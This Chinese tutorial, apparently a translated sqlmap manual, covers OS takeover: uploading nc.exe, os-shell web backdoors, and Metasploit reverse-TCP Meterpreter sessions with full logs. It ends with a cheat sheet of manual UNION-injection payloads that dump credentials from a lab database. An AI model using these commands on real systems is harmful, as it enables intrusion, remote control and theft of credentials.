向数据库服务器的文件系统上传文件。选项:--file-write--file-dest 。当后端 DBMS 为 MySQL,PostgreSQL 或者 Microsoft SQL Server,并且当前会话用户拥有利用数据库特定功能和相关架构弱点的权限时,sqlmap 能够向数据库服务器文件系统上传一个本地文件。文件可以是文本文件或者二进制文件,sqlmap 都能够正确地处理相关文件。

这些技术的相关详情可见白皮书通过高级 SQL 注入完全控制操作系统

下面是以 MySQL 为目标,向服务器提交一个经过 UPX 压缩的二进制文件的例子:

$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'

接管 操作系统:--os-cmd,--os-shell

在数据库所在的服务器上执行任意操作系统命令。选项和开关:--os-cmd--os-shell 。

  • sqlmap.py -u "url" --os-cmd="net user"  /*执行net user命令*/
  • sqlmap.py -u "url" --os-shell   /*系统交互的shell*/

当后端 DBMS(Database Management System,数据库管理系统)为 MySQL,PostgreSQL 或 Microsoft SQL Server,并且当前会话用户拥有对数据库特定功能和相关架构特性的利用权限时,sqlmap 能够在数据库所在服务器的操作系统上运行任意的命令

在 MySQL 和 PostgreSQL 中,sqlmap 可以上传(通过前面描述的文件上传功能)一个包含两个用户自定义函数——分别为 sys_exec()sys_eval() 的共享库(二进制文件),然后在数据库中创建出两个对应函数,并调用对应函数执行特定的命令,并允许用户选择是否打印出相关命令执行的结果。在 Microsoft SQL Server 中,sqlmap 会利用 xp_cmdshell 存储过程:如果该存储过程被关闭了(Microsoft SQL Server 的 2005 及以上版本默认关闭),sqlmap 则会将其重新打开;如果该存储过程不存在,sqlmap 则会重新创建它。

当用户请求标准输出,sqlmap 将使用任何可用的 SQL 注入技术(盲注、带内注入、报错型注入)去获取对应结果。相反,如果无需标准输出对应结果,sqlmap 则会使用堆叠查询注入(Stacked queries)技术执行相关的命令。

这些技术的相关详情可见白皮书通过高级 SQL 注入,对操作系统进行完全控制

针对 PostgreSQL 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(post
gres)'

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys
tem can only be deleted manually

sqlmap 还支持模拟 shell 输入,你可以输入任意命令以执行。对应的选项是 --os-shell,并且和 --sql-shell 一样,具备 TAB 补全和记录历史命令的功能。

如果堆叠查询没有被 Web 应用(例如:PHP 或 ASP 且后端 DBMS 为 MySQL)识别出来,并且 DBMS 为 MySQL,假如后端 DBMS 和 Web 服务器在同一台服务器上,则仍可以通过利用 SELECT 语句中的 INTO OUTFILE,在 Web 服务器根目录中的可写目录中创建 Web 后门,从而执行命令。sqlmap 支持上述功能并允许用户提供一个逗号分隔、用于指定根目录子目录的列表,从而尝试上传 Web 文件传输器和后续的 Web 后门。sqlmap 有以下几种语言的 Web 文件传输器和后门:ASP、ASP.NET、JSP、PHP

命令:sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-cmd=ipconfig
执行后根据提示选择网站语言,然后回车,指定目标站点根目录,然后继续回车即可完整执行命令。

命令:sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-shell
执行后根据提示选择网站语言,然后回车,指定目标站点根目录后回车,输入命令即可执行。

使用 shell命令:
sqlmap -r "c:\tools\request.txt" -p id --dms=mysql --os-shell
接下来指定网站可写目录:"E:\php\htdocs\dvwa"
#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

执行命令后会在网站根目录上传两个文件:tmpbxbxz.php、tmpuoiuz.php(此文件为上传页面)

配合 Meterpreter 使用

有状态带外连接:Meterpreter & friends

开关和选项:--os-pwn--os-smbrelay--os-bof--priv-esc--msf-path--tmp-path

当后端 DBMS 为 MySQL,PostgreSQL 或 Microsoft SQL Server 时,并且当前会话用户拥有对数据库特定功能和架构缺陷的利用权限时,sqlmap 能够在攻击者机器与数据库服务器之间建立起有状态带外 TCP 连接。根据用户的选择,该连接可以是交互式命令行、Meterpreter 会话、或者图形用户界面(VNC)会话。

sqlmap 依赖 Metasploit 创建 shellcode,并实现了四种不同的技术在数据库服务器上执行它。这些技术分别是:

  • 通过 sqlmap 的用户自定义函数 sys_bineval() 在数据库内存中执行 Metasploit shellcode。MySQL 和 PostgreSQL 支持该技术,通过开关 --os-pwn 启用。
  • 通过 sqlmap 的用户自定义函数 sys_exec() 向 MySQL 和 PostgreSQL 上传一个 Metasploit 独立 payload 传输器并执行,对于 Microsoft SQL Server 则是使用 xp_cmdshell() 函数,通过开关 --os-pwn 启用。
  • 通过进行从数据库服务器到攻击者机器(由 Metasploit smb_relay 服务监听)之间的 UNC 路径请求的 SMB 反射攻击MS08-068)来执行 Metasploit shellcode。当 sqlmap 运行于具有高权限(uid=0)的 Linux/Unix 上,且目标 DBMS 以 Windows 管理员身份运行时支持该技术,通过开关 --os-smbrelay 启用。
  • 通过利用 Microsoft SQL Server 2000 和 2005 的 sp_replwritetovarbin 存储过程堆缓冲区溢出MS09-004)在数据库内存中执行 Metasploit shellcode。sqlmap 使用自己的 exploit,自动绕过 DEP 内存保护来触发漏洞,但它依赖 Metasploit 生成 shellcode,以便在成功利用时执行,通过开关 --os-bof 启用。

相关的技术详情可见于白皮书通过高级 SQL 注入完全控制操作系统和幻灯片将控制由数据库层面拓展到操作系统

针对 MySQL 目标的示例:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\
id=1" --os-pwn --msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p
lease wait..

                                _
                                | |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
|  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                        /|
                        \|


    =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
    =[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b
ineval', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) a
t Mon Apr 11 hh:mm:52 +0100 2011

meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Computer        : W2K3R2
Architecture    : x86
Meterpreter     : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address  : 192.168.136.129
Netmask     : 255.255.255.0


meterpreter > exit

[*] Meterpreter session 1 closed.  Reason: User exit

默认情况下,MySQL 在 Windows 上以 SYSTEM 身份运行,然而 PostgreSQL 在 Windows 和 Linux 上均以低权限用户 postgres 运行。Microsoft SQL Server 2000 默认以 SYSTEM 身份运行,而 Microsoft SQL 2005 和 2008 大部分情况下以 NETWORK SERVICE 身份运行,有时候以 LOCAL SERVICE 身份运行。

使用 sqlmap 的 --priv-esc 开关,可以通过 Metasploit getsystem 命令进行数据库进程用户提权,该命令使用了包括 kitrap0d 在内的各种技术(MS10-015)。

访问 Windows 注册表

当后端 DBMS(Database Management System,数据库管理系统)是 MySQL,PostgreSQL 或 Microsoft SQL Server 并且 Web 应用程序支持堆叠查询时,sqlmap 可以访问 Windows 注册表。此外,会话用户必须具备相应的访问权限。

  • 读取注册表值:参数:--reg-read
  • 写入注册表值:参数:--reg-add
  • 删除注册表值:参数:--reg-del
  • 注册表辅助选项:参数:--reg-key,--reg-value,--reg-data,--reg-type  这些选项用于提供正确运行 --reg-read--reg-add--reg-del 等开关所需的数据。因此,你可以在命令提示符下使用它们作为程序参数,而不是在执行过程中提供注册表项信息。使用 --reg-key 选项指定 Windows 注册表项路径,--reg-value 提供注册表项的名称,--reg-data 提供注册表键值数据,而 --reg-type 选项指定注册表键值的类型。

示例:sqlmap -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

sqlmap 的常规参数

  • 选项:-s 。从已存储(.sqlite)文件读取会话。sqlmap 会在专用的输出目录中自动为每一个目标分别建立持久会话 SQLite 文件,该文件会存储用于恢复会话的所有数据。如果用户需要指定会话文件的具体存储位置(例如:将所有目标的会话数据存储在同一个位置),则可以使用这个选项。
  • 选项:-t 。这个选项需要一个指定文本文件地址的参数,用于写入 sqlmap 产生的所有 HTTP(s) 流量信息——包括 HTTP(S) 请求 和 HTTP(S) 响应。这个选项主要用于调试——当你向开发人员提供潜在 bug 报告时,可把这个文件一并带上。
  • 选项:--answers 。为问题预设答案。如果用户想要自动回答问题,即使使用了 --batch 选项,也可以通过在等号后提供一部分的问题和对应的回答来做到这一点。另外,不同问题的答案可以用分隔符 , 分割。示例:python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch
  • 选项:--base64 。声明(表明)参数中包含了 Base64 编码的数据。在目标 Web 应用使用 Base64 编码来存储特定参数数据时(例如:用 Base64 来编码 JSON 字典),用户可以使用选项 --base64 声明,使 sqlmap 能正确地使用参数值进行测试。使用例子:(注意:Base64('{"id": 1}') == 'eyJpZCI6IDF9'):python sqlmap.py -u http://192.168.22.128/sqlmap/mysql/get_base64?value=eyJpZCI6IDF9 -v 5 --base64=value
  • 开关:--batch 。以非交互式模式运行。当需要以批处理模式运行 sqlmap,避免任何用户干预 sqlmap 的运行,可以强制使用 --batch 这个开关。这样,当 sqlmap 需要用户输入信息时,都将会以默认参数运行。
  • 选项:--binary-fields 。二进制内容检索。为了便于检索存储二进制数值(例如:数据列 password 存储了密码哈希值二进制数据)的数据表字段的内容,可使用 --binary-fields 选项对该数据列进行(额外)适当处理。所有的这些数据域(例如:数据表的列)都将被取出并以十六进制格式展示,便于后续被其他工具(例如:john)处理。
  • 选项:--charset 。自定义 SQL(盲)注入字符集。在布尔型盲注(Boolean-based blind)和时间型盲注(Time-based blind)中,用户可以强制使用自定义字符集来加快数据检索过程。例如,在导出消息摘要值(例如:SHA1)时,通过使用(例如)--charset="0123456789abcdef",预期的请求数比常规运行大约少 30%。
  • 选项:--crawl 。从目标 URL 开始爬取站点。sqlmap 可以从给定的目标站点开始收集(抓取)存在潜在漏洞的链接。使用这个选项可以设置爬取的深度(到起始位置的距离),这样 sqlmap 爬取到对应深度就不会继续进行。针对 MySQL 目标的运行示例:python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
  • 选项:--crawl-exclude。使用这个选项可以通过正则表达式来排除不想抓取的页面。例如,如果你想要跳过所有包含 logout 关键字的链接,你可以使用 --crawl-exclude=logout
  • 选项:--csv-del。指定 CSV 输出的分隔符。当导出数据到 CSV 格式文件(--dump-format=CSV),数据条目需要使用“分隔符”(默认为 ,)进行划分。如果用户想要覆盖默认分隔符,可以使用这个选项(例如:--csv-del=";")。
  • 选项:--dbms-cred。DBMS(Database Management System,数据库管理系统)认证凭证。某些情况下,用户可能会因为当前 DBMS 用户的权限问题而导致操作失败,这时就可以使用这个选项。在这种情景下,如果用户使用这个选项来 admin 用户凭证,sqlmap 会尝试使用相应的认证信息与“以其他身份运行”机制(例如:Microsoft SQL Server 的 OPENROWSET)来重新运行。
  • 选项:--dump-format。导出数据的格式。当导出数据表数据到输出目录的相应文件时,sqlmap 支持三种不同的数据导出格式:CSVHTMLSQLITE。默认的输出格式是 CSV,每一条数据以 ,(或者使用 --csv-del 指定其他符号)为分隔符逐行存储到文本文件中。如果是使用 HTML 格式,则输出会被存储为 HTML 文件,每行数据会被存储为表格的一行到 HTML 文件中。如果是使用 SQLITE,数据则会被存储到 SQLITE 数据库,原先的数据表会被转换成具有相同名字的 SQLITE 数据表。
  • 选项:--encoding 。强制指定检索数据编码。为了对字符数据进行合理的编码,sqlmap 使用从 Web 服务器提供的信息(例如:HTTP 请求头 Content-Type),或是使用第三方库 chardet 进行推导。尽管如此,有时候还是需要对编码进行指定,特别是当获取的数据包含国际化的非 ASCII 字符时(例如:encoding=GBK)。同时,需要注意的是,如果目标机器数据库存储的数据内容与数据库连接器编码不兼容,则会不可逆转地出现编码信息丢失的情况。
  • 开关:--eta。预估完成时间。sqlmap 支持实时计算并显示获取查询结果的预估时间。如果使用的技术是任意一种 SQL 盲注,则会显示获取输出的时间。针对 Oracle 目标进行布尔型盲注的例子:python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
  • 选项:--flush-session。清空会话文件。可以避免 sqlmap 默认的缓存机制。也可以手动移除相关的会话文件。
  • 开关:--forms。解析并测试表单输入域。例如你需要针对_搜索框_进行 SQL 注入测试,或者你想绕过登录验证(通常是 usernamepassword 两个输入框),你可以通过给 sqlmap 传入请求文件(-r),并设置好(--data)相关的提交数据,或者直接让 sqlmap 自动为你完成相关操作。上面提及的两个实例,及其他 HTML 响应体中出现的 <form><input> 标签,都可以使用这个开关。配合存在表单的目标 URL(-u)使用 sqlmap 的 --forms 开关,sqlmap 会自动为你请求对应目标 URL,解析相关的表单,并引导你基于表单输入域(参数)而非提供的目标 URL 进行 SQL 注入测试。
  • 开关:--fresh-queries。忽略会话文件中的查询结果。经过上面的描述,相信你已经熟悉了会话文件的概念,值得注意的是,你可以使用 --fresh-queries 这个开关忽略会话文件中的查询结果。这样你就可以保持某次运行的特定会话文件内容不被修改, 从而避免重复尝试及恢复查询结果。
  • 开关:--hex。使用 DBMS hex 函数获取数据。很多情况下,获取非 ASCII 数据都会有特殊要求。其中一个解决方案就是使用 DBMS hex 函数。开启这个开关,数据在被获取之前,会被编码成十六进制格式,并在随后被解码成原先的格式。针对 PostgreSQL 目标的例子:python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors
  • 选项:--output-dir。指定输出目录路径。默认情况下,sqlmap 会将会话和结果文件存储在命名为 output 的子目录中。如果你想要使用不同的存储位置,可以用这个选项(例如:--output-dir=/tmp)。
  • 开关:--parse-errors。从响应页面中解析 DBMS 错误信息。如果 Web 应用配置了调试模式,后端 DBMS 的错误信息会在 HTTP 响应请求中显示,sqlmap 会对其进行解析并展示。这个特性对调试非常有用,例如可以用来理解为什么特定枚举或接管开关会失效——可能是会话用户出现权限问题,在这种情况下,你可以看到 Access denied for user <SESSION USER>(拒绝用户<会话用户>访问)的 DBMS 错误信息。针对 Microsoft SQL Server 目标的例子:python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors
  • 选项:--preprocess 。前处理(请求)。使用此选项,可在(HTTP)请求数据被发送之前先由给定的前处理脚本处理(如微调请求内容)。例如,追加 query 参数到 POST 请求体的前处理脚本如下:
    #!/usr/bin/env python
    
    def preprocess(req):
        if req.data:
            req.data += b'&foo=bar'
  • 响应:--postprocess 。后处理(响应)。使用此选项,可在 sqlmap 检测引擎之前先由后处理脚本处理(HTTP)响应数据(如解码数据或删除无用数据)。例如,将所有小写字符转换为大写的后处理脚本如下:
    #!/usr/bin/env python
    
    def postprocess(page, headers=None, code=None):
        return page.upper() if page else page, headers, code
  • 选项:--save 。保存相关选项到 INI 配置文件。使用此开关可以将命令行上的相关选项保存到 INI 配置文件中。同时可以通过以上描述的 -c 选项对生成的文件进行编辑。

杂项

  • 选项:-z 。输入所有想要使用的选项和开关是很乏味的事情,特别是对于那些常用的选项和开关(例如:--batch --random-agent --ignore-proxy --technique=BEU)。有一个更简短的方法来处理这个问题。在 sqlmap 中,它被称为“助记符”。使用选项 -z,每个选项和开关可以用较短的助记符形式,并用逗号(,)分隔,其中助记符代表原始名称的第一个任意选择的部分。选项和开关没有严格映射到他们各自精简后的部分。唯一需要满足的条件是没有其他选项和开关使用了与之相同的前缀。
    例如:sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"
    用短助记符形式写成:$ python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"
    另一个例子:sqlmap --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"
    用短助记符形式写成:$ python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"
  • 选项:--alert 。成功SQL注入时警告
  • 开关:--beep 。发现 SQL 注入时发出“哔”声。当测试大批量 URL 列表时特别有用。
  • 开关:--cleanup 。清除 DBMS(Database Management System,数据库管理系统)中特定的 sqlmap UDF(s) 和表。建议在完成底层操作系统或文件系统的接管后,清理后端 DBMS 中的 sqlmap 临时表(如 sqlmapoutput)和用户定义函数。使用 --cleanup 开关将尽可能地清理 DBMS 和文件系统。
  • 开关:--dependencies 。在某些特殊情况下,sqlmap 需要独立安装额外的第三方库(例如:选项 -d,开关 --os-pwn 之于 icmpsh 隧道,选项 --auth-type 之于 NTLM 类型的 HTTP 认证等。),只在这种特殊情况下会警告用户。不过,如果你想独立检查所有这些额外的第三方库依赖关系,可以使用开关 --dependencies。示例:python sqlmap.py --dependencies
  • 开关:--disable-coloring 。禁用控制台输出着色。默认情况下,sqlmap 输出到控制台时使用着色。你可以使用此开关禁用控制台输出着色,以避免不期望的效果(例如:控制台中未解析的 ANSI 代码着色效果,像 \x01\x1b[0;32m\x02[INFO])。
  • 选项:--gpage 。使用特定页码的 Google dork 结果。默认情况下,使用选项 -g 时,sqlmap 会使用 Google 搜索得到的前 100 个 URLs 进行进一步的 SQL 注入测试。结合此选项,你可以使用它(--gpage)指定除第一页以外的页面以检索目标 URLs。
  • 开关:--hpp 。使用 HTTP 参数污染。HTTP 参数污染(HPP)是一种绕过 WAF/IPS 防护机制(这里 有相关介绍)的方法,对 ASP/IIS 和 ASP.NET/IIS 平台尤其有效。如果你怀疑目标使用了这种防护机制,可以尝试使用此开关以绕过它。
  • 开关:--mobile 。伪装智能手机。有时 Web 服务器向手机提供的是不同于电脑的接口。在这种情况下,你可以强制使用预定义好的智能手机 HTTP User-Agent 头部值。使用此开关,sqlmap 将询问你选择一种流行的智能手机,它将在当前运行中进行伪装。示例:python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
  • 开关:--offline 。离线工作模式(仅使用会话数据)。使用开关 --offline,sqlmap 在数据枚举中将仅使用上一个会话的数据。这基本上意味着在这样的运行过程中是零连接尝试的。
  • 开关:--purge 。安全地删除 data 目录中所有内容。如果用户决定要安全地删除 sqlmap data 目录(例如 $HOME/.local/share/sqlmap)中的所有内容,包括之前 sqlmap 运行过的所有目标详细信息,可以使用开关 --purge。在清除时,data 目录中的(子)目录中的所有文件将被随机数据覆盖、截断和被重命名为随意名,(子)目录也将被重命名为随意名,最后整个目录树将被删除。运行示例:python sqlmap.py --purge -v 3
  • 开关:--smart 。只在使用启发式检测时才进行彻底的测试。某些情况下,用户拥有大量潜在目标 URL(例如:使用选项 -m)列表,同时想要尽快找到易受攻击的目标。如果使用了开关 --smart,则只有能引发 DBMS 错误的参数会在进一步的扫描中被使用。否则会被跳过。针对 MySQL 目标的示例:python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart
  • 选项:--test-filter 。根据 payloads 和/或标题选择(或跳过)测试。如果你想根据 payloads 和/或标题过滤测试,可以使用此选项。例如,要测试所有包含 ROW 关键字的 payloads,可以使用 --test-filter=ROW。针对 MySQL 目标的示例:python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --batch --test-filter=ROW
  • 选项:--test-skip=TEST 。如果你想根据 payloads 和/或标题跳过测试,可以使用此选项。例如,想要跳过包含 BENCHMARK 关键字的 payloads,可以使用 --test-skip=BENCHMARK
  • 开关:--shell 。交互式 sqlmap shell 。使用开关 --shell,用户可以获取交互式 sqlmap shell,它包含所有先前运行的历史记录,包括使用过的选项和/或开关:
    python sqlmap.py --shell
    sqlmap > -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=BEU --batch
  • 开关:--wizard 。适合初学者使用的向导界面。sqlmap 为初学者提供了一个向导界面,它使用包含尽可能少的问题的简单工作流。如果用户输入目标 URL 并使用了默认设置(例如:按 Enter),则应该在工作流结束时正确设置 sqlmap 运行环境。针对 Microsoft SQL Server 目标的示例:python sqlmap.py --wizard

API(REST-JSON)

sqlmap 可以通过 REST-JSON API 运行,即使用 JSON 格式的 REST(REpresentational State Transfer 的缩写)风格的 API 来进行服务器和客户端实例之间的通信。直白地讲,服务器使用 sqlmap 进行扫描,而客户端设置 sqlmap 选项/开关并将结果拉取回来。用于运行 API 的主程序文件是 sqlmapapi.py,而客户端可以在任意用户程序中进行实现。

$ python sqlmapapi.py -hh
Usage: sqlmapapi.py [options]

Options:
  -h, --help            show this help message and exit
  -s, --server          Act as a REST-JSON API server
  -c, --client          Act as a REST-JSON API client
  -H HOST, --host=HOST  Host of the REST-JSON API server (default "127.0.0.1")
  -p PORT, --port=PORT  Port of the the REST-JSON API server (default 8775)
  --adapter=ADAPTER     Server (bottle) adapter to use (default "wsgiref")

通过使用开关 -s 运行 sqlmapapi.py 启用服务器,使用开关 -c 启用客户端,在这两种情况下,用户可以(可选)使用选项 -H(默认为 "127.0.0.1")和选项 -p(默认为 8775)设置监听的 IP 地址和端口。每个客户端的“会话”可以有多个“任务”(例如:运行 sqlmap 扫描),用户可以任意选择某个任务处于当前活动状态。

客户端命令行界面可用的命令有:

  • help——显示可用命令列表以及基本的帮助信息
  • new ARGS——使用提供的参数开始一次新的扫描任务(例如:new -u "http://testphp.vulnweb.com/artists.php?artist=1")
  • use TASKID——切换当前上下文到不同任务(例如:use c04d8c5c7582efb4)
  • data——获取并显示当前任务的数据
  • log- 获取并显示当前任务日志
  • status——获取并显示当前任务状态
  • stop——停止当前任务
  • kill——杀死当前任务
  • list——显示所有任务(当前会话)
  • flush——清空所有任务(例如:deletes)
  • exit——退出客户端界面

运行服务器的示例:python sqlmapapi.py -s -H "0.0.0.0"

运行客户端的示例:


python sqlmapapi.py -c -H "192.168.110.1"
api> ?
api (a42ddaef02e976f0)> status
api (a42ddaef02e976f0)> log
api (a42ddaef02e976f0)> data
api (a42ddaef02e976f0)> exit

4、SQL 手动注入 总结

From:https://blog.csdn.net/MachineGunJoe/article/details/116267692

提起 sql 注入,相信大家并不陌生,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

虽说目前互联网上已经有很多关于 sql 注入的神器了,但是在这个 WAF 横行的时代,手工注入往往在一些真实环境中会显得尤为重要,这里做个知识总结,不会有详细的知识解读,类似于查询手册的形式,便于复习与查阅,文中内容可能会存在错误,请指出并改正。。。

确定 表的列数

采用 union 探测内容,而union的规则是必须要求列数相同才能正常展示,因此必须要探测列数,保证构造的注入查询结果与元查询结果列数与数据类型相同;
‘order by 1’代表按第一列升序排序,若数字代表的列不存在,则会报错,由此可以探测出有多少列。

示例:

当试到'4'时,出现报错信息,可以知道该表有3列:Unknown column '4' in 'order clause'
执行的sql语句是:SELECT * FROM users WHERE id='2' order by 4 -- '' LIMIT 0,1

确定 字段的显示位

显示位:表中数据第几位的字段可以显示,因为并不是所有的查询结果都会展示在页面中,因此需要探测页面中展示的查询结果是哪一列的结果;

'union select 1,2,3 -- ' 通过显示的数字可以判断那些字段可以显示出来。

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 -- '
可见2,3所在的字段可以显示
ps:id=-1,使用-1是为了使前一个sql语句所选的内容为空,从而便于后面的select语句显示信息

获取 当前数据库信息

现在只有两个字段可以显示信息,显然在后面的查询数据中,两个字段是不够用,可以使用

  • group_concat() 函数:可以把查询出来的多行数据连接起来在一个字段中显示
  • database() 函数:查看当前数据库名称
  • version() 函数:查看数据库版本信息
  • user() 函数:返回当前数据库连接使用的用户
  • char() 函数:将十进制ASCII码转化成字符,以便于分隔每个字段的内容

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(database(),version()),3 -- '
  Your Login name:security5.5.53
  Your Password:3
可以知道当前数据库名为security,数据库版本为5.5.53

获取 全部数据库信息

Mysql 有一个系统的数据库 information_schema,里面保存着所有数据库的相关信息,使用该表完成注入

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),schema_name,char(32)),3 from information_schema.schemata -- '

获取到了所有的数据库信息 information_schema ,security

获取 security 库中的表信息

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),table_name,char(32)),3 from information_schema.tables where table_schema='security' -- '
  Your Login name: emails , referers , uagents , users 
    Your Password:3
ps:table_schema= '数据库的名'

获取 users 表的列

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),column_name,char(32)),3 from information_schema.columns where table_name='users' -- '
 Your Login name: user_id , first_name , last_name , user , password , avatar , last_login , failed_login , id , username , password
 Your Password:3
执行的sql语句是:SELECT * FROM users WHERE id='-1' union select 1,group_concat(char(32),column_name,char(32)),3 from information_schema.columns where table_name='users' -- '' LIMIT 0,1

获取 数据

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32),password),3 from users -- '
 Your Login name: Dumb Dumb, Angelina I-kill-you, Dummy p@ssword, secure crappy, stupid stupidity, superman genious, batman mob!le, admin admin, admin1 admin1, admin2 admin2, admin3 admin3, dhakkan dumbo, admin4 admin4
 Your Password:3
执行的sql语句是:SELECT * FROM users WHERE id='-1' union select 1,group_concat(char(32),username,char(32),password),3 from users -- '' LIMIT 0,1

Mysql 手动注入

可以用 burpsuite 的 intruder 的字典跑,但是仍然失败。
这里可以用到SQL语句的case when …then … else … end语句
CASE WHEN语句在DB2,ORACLE,SQL SERVER系列,SYBASE等大型数据库都受到支持,是标准的SQL语句。

SQL语句:case when … then … else … end
